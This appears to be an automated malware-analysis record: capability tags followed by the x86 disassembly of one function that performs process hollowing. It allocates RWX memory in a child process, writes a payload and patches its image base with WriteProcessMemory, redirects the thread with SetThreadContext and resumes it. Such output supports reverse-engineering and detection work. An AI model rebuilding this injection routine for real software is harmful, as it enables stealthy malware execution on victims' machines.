Function at 0x49d734
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff18
push ebx
mov ebx, edx
xor eax, eax
push ebp
push 0x49d90c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 4]
lea eax, [ebp - 0xe8]
call fcn.0049d644
test al, al
je 0x49d8fe
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 8]
jne 0x49d7b4
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x49d7b4
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtectEx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x49d826
call fcn.0049d52c
test al, al
je 0x49d826
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0049d5d8
test al, al
je 0x49d7e8
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [0x4a355c]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x49d826
mov eax, ebx
call fcn.0049d538
test al, al
je 0x49d826
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [0x4a355c]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x49d826
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0049d550
cmp dword [ebp - 0x18], 0
je 0x49d8da
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x44]
add eax, 8
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x49d8b4
mov dword [ebp - 0xe8], 0x10007
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 8]
jne 0x49d88a
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x38], eax
jmp 0x49d890
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x49d8fe
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 4], 0xffffffff
jmp 0x49d8fe
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 4], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d913
ret